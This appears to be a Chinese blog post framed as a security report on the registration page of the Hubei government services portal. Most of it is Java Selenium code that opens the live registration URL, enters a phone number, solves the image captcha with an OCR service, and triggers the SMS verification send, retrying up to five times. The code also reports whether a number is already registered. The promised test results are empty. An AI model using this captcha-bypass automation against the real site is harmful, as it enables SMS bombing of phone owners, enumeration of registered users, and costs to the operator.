【湖北政务服务网-注册_登录安全分析报告】

前言

由于网站注册入口容易被黑客攻击,存在如下安全问题:

  1. 暴力破解密码,造成用户信息泄露
  2. 短信盗刷的安全问题,影响业务及导致用户投诉
  3. 带来经济损失,尤其是后付费客户,风险巨大,造成亏损无底洞

    所以大部分网站及App 都采取图形验证码或滑动验证码等交互解决方案, 但在机器学习能力提高的当下,连百度这样的大厂都遭受攻击导致点名批评, 图形验证及交互验证方式的安全性到底如何? 请看具体分析

一、 湖北政务服务网PC 注册入口

简介:湖北政务服务网是湖北省统一的在线政务服务平台,整合公安、户政、教育、交通、不动产等多领域服务,旨在实现"让数据多跑路,让群众少跑腿"。

主要功能

服务范围:覆盖公安、户政、教育、交通、不动产等高频事项,支持企业、个人一站式办理。

特色专区:

全省通办:推动"最多跑一次"和"就近能办"改革。

跨省通办:实现异地事项"一地认证、全程网办"。

助企惠企:提供政策申报、融资对接等企业专属服务。

便民服务:包含医保、养老、法律援助、公证等民生领域。


安全分析:

采用传统的图形验证码方式,具体为4个英文及数字,ocr 识别率在 95% 以上。

测试方法:

采用模拟器+OCR识别

1 模拟器交互部分

java 复制代码
/**
 * 湖北政务服务网
 *
 */
public class HuBei implements SendDriverApi {
	private OcrClientDddd ddddOcr = new OcrClientDddd();
	private static String INDEX_URL = "https://oauth.hubei.gov.cn:8443/hbyzw/zwfw/personinfo/personInfoAction_toPersonOrEntResign.do?appCode=hbzwfw&type=1";

	@Override
	public RetEntity send(WebDriver driver, String areaCode, String phone) {
		RetEntity retEntity = new RetEntity();
		try {
			driver.get(INDEX_URL);

			// 1 输入手机号
			WebElement phoneElement = ChromeUtil.waitElement(driver, By.id("mobilePhone"), 10);
			phoneElement.sendKeys(phone);
			Thread.sleep(500);

			WebElement existsElement = ChromeUtil.waitElement(driver, By.id("mobilePhoneSpan"), 1);
			if (existsElement != null) {
				retEntity.setRet(0);
				retEntity.setExist(1);
				retEntity.setMsg(existsElement.getText());
				return retEntity;
			}

			// 2 获取图形验证码
			WebElement imgElement, inCodeElement, sendElement;
			String imgCode = null, imgSrc = null;
			byte[] imgBytes = null;
			WebElement gtElement = null;
			int count = 0;
			while (count < 5) {
				imgElement = ChromeUtil.waitElement(driver, By.id("valiImg0"), 10);
				imgSrc = (imgElement != null) ? imgElement.getAttribute("src") : null;
				imgBytes = (imgSrc != null) ? GetImage.callJsById(driver, "valiImg0") : null;
				imgCode = (imgBytes != null && imgBytes.length > 100) ? ddddOcr.getImgCode(imgBytes) : null;
				if (imgCode == null || imgCode.length() < 4) {
					// imgElement.click();
					((JavascriptExecutor) driver).executeScript("arguments[0].click();", imgElement);
					Thread.sleep(1000);
					continue;
				}
				// 3 输入图片验证码
				inCodeElement = driver.findElement(By.id("valiCode"));
				ChromeUtil.clearbackSpace(inCodeElement);
				inCodeElement.sendKeys(imgCode);
				// 4 点击发送按钮
				sendElement = driver.findElement(By.id("btn_sms"));
				((JavascriptExecutor) driver).executeScript("arguments[0].click();", sendElement);
				gtElement = ChromeUtil.waitElement(driver, By.xpath("//input[@id='btn_sms' and string-length(@value) <=3 ]"), 30);
				String gtInfo = (gtElement != null) ? gtElement.getAttribute("value") : null;
				if (gtInfo == null || gtInfo.length() != 3) {
					WebElement confirmElement = ChromeUtil.waitElement(driver, By.xpath("//a[@class='layui-layer-btn0' and text()='确定']"), 5);
					if (confirmElement != null) {
						((JavascriptExecutor) driver).executeScript("arguments[0].click();", confirmElement);
						count++;
					}
					((JavascriptExecutor) driver).executeScript("arguments[0].click();", imgElement);
					Thread.sleep(1000);
					continue;
				}
				retEntity.setMsg("imgCode:" + imgCode + "(" + count + ")->" + gtInfo);
				retEntity.setRet(0);
				break;
			}
			return retEntity;
		} catch (Exception e) {
			System.out.println("phone=" + phone + ",e=" + e.toString());
			for (StackTraceElement ele : e.getStackTrace()) {
				System.out.println(ele.toString());
			}
			return null;
		} finally {
			if (driver != null)
				driver.manage().deleteAllCookies();
		}
	}

2 获取图形验证码

java 复制代码
public String getImgCode(byte[] bigImage) {
		try {
			if (ddddUrl == null) {
				System.out.println("getImgCode() ddddUrl=" + ddddUrl);
				return null;
			}
			int len = (bigImage != null) ? bigImage.length : -1;
			if (len < 0) {
				System.out.println("getImgCode() len=" + len);
				return null;
			}

			long time = (new Date()).getTime();
			HttpURLConnection con = null;
			String boundary = "----------" + String.valueOf(time);
			String boundarybytesString = "\r\n--" + boundary + "\r\n";
			OutputStream out = null;

			URL u = new URL(ddddUrl);
			con = (HttpURLConnection) u.openConnection();
			con.setRequestMethod("POST");
			con.setConnectTimeout(10 * 1000);
			con.setReadTimeout(10 * 1000);
			con.setDoOutput(true);
			con.setDoInput(true);
			con.setUseCaches(true);
			con.setRequestProperty("Content-Type", "multipart/form-data; boundary=" + boundary);
			out = con.getOutputStream();
			out.write(boundarybytesString.getBytes("UTF-8"));
			String paramString = "Content-Disposition: form-data; name=\"image\"; filename=\"" + "bigNxt.gif" + "\"\r\n";
			paramString += "Content-Type: application/octet-stream\r\n\r\n";
			out.write(paramString.getBytes("UTF-8"));
			out.write(bigImage);

			String tailer = "\r\n--" + boundary + "--\r\n";
			out.write(tailer.getBytes("UTF-8"));
			out.flush();
			out.close();

			StringBuffer buffer = new StringBuffer();
			BufferedReader br = new BufferedReader(new InputStreamReader(con.getInputStream(), "UTF-8"));
			String temp;
			while ((temp = br.readLine()) != null) {
				buffer.append(temp);
			}
			String ret = buffer.toString();
			if (ret.length() < 1) {
				System.out.println("getImgCode() ddddUrl=" + ddddUrl + ",len=" + len + "->ret=" + buffer.toString());
			}
			return buffer.toString();
		} catch (Throwable e) {
			logger.error("getImgCode() ddddUrl=" + ddddUrl + ",e=" + e.toString());
			return null;
		}
	}

3 测试返回结果:

4 测试报告 :

二丶结语

湖北政务服务网是湖北省统一的在线政务服务平台,整合公安、户政、教育、交通、不动产等多领域服务,旨在实现"让数据多跑路,让群众少跑腿"。 ‌

主要功能

服务范围:覆盖公安、户政、教育、交通、不动产等高频事项,支持企业、个人一站式办理。 ‌

特色专区:

全省通办:推动"最多跑一次"和"就近能办"改革。 ‌

跨省通办:实现异地事项"一地认证、全程网办"。 ‌

助企惠企:提供政策申报、融资对接等企业专属服务。 ‌

便民服务:包含医保、养老、法律援助、公证等民生领域。 ‌ ‌政务服务平台,应该重点关注安全,并且拥有强大的技术资源, 采用的却还是老一代的图形验证码已经落伍了, 用户体验一般,容易被破解, 一旦被国际黑客发起攻击,将会对老百姓形成骚扰,影响声誉。

很多人在短信服务刚开始建设的阶段,可能不会在安全方面考虑太多,理由有很多。

比如:" 需求这么赶,当然是先实现功能啊 "," 业务量很小啦,系统就这么点人用,不怕的 " , " 我们怎么会被盯上呢,不可能的 "等等。

有一些理由虽然有道理,但是该来的总是会来的。前期欠下来的债,总是要还的。越早还,问题就越小,损失就越低。

所以大家在安全方面还是要重视。(血淋淋的栗子!)#安全短信#

戳这里→康康你手机号在过多少网站注册过!!!

谷歌图形验证码在AI 面前已经形同虚设,所以谷歌宣布退出验证码服务, 那么当所有的图形验证码都被破解时,大家又该如何做好防御呢?

>>相关阅读
《腾讯防水墙滑动拼图验证码》
《百度旋转图片验证码》
《网易易盾滑动拼图验证码》
《顶象区域面积点选验证码》
《顶象滑动拼图验证码》
《极验滑动拼图验证码》
《使用深度学习来破解 captcha 验证码》
《验证码终结者-基于CNN+BLSTM+CTC的训练部署套件》

相关推荐
love530love几秒前
EPGF 新手教程 21把“环境折磨”从课堂中彻底移除:EPGF 如何重构 AI / Python 教学环境?
人工智能·windows·python·重构·架构·epgf
ldccorpora1 分钟前
Chinese News Translation Text Part 1数据集介绍,官网编号LDC2005T06
数据结构·人工智能·python·算法·语音识别
大学生毕业题目1 分钟前
毕业项目推荐:99-基于yolov8/yolov5/yolo11的肾结石检测识别系统(Python+卷积神经网络)
人工智能·python·yolo·目标检测·cnn·pyqt·肾结石检测
退休钓鱼选手2 分钟前
BehaviorTree行为树 【调试】 5
人工智能·自动驾驶
stephen one18 分钟前
2026 AI深度伪造危机:实测 Midjourney v7 与 Flux 2 Max 识别,谁才是 AI 检测的天花板?
人工智能·ai作画·stable diffusion·aigc·midjourney
卡奥斯开源社区官方19 分钟前
Claude 4.5技术深析:AI编码重构软件工程的底层逻辑与实践路径
人工智能·重构·软件工程
爱学英语的程序员29 分钟前
让AI 帮我做了个个人博客(附提示词!)
人工智能·git·vue·github·node·个人博客
小五传输32 分钟前
网闸怎么选?新型网闸凭安全高效,成企业优选方案
大数据·运维·安全
lixzest37 分钟前
Transformer、PyTorch与人工智能大模型的关系
人工智能
其美杰布-富贵-李37 分钟前
PyTorch Lightning
人工智能·pytorch·python·training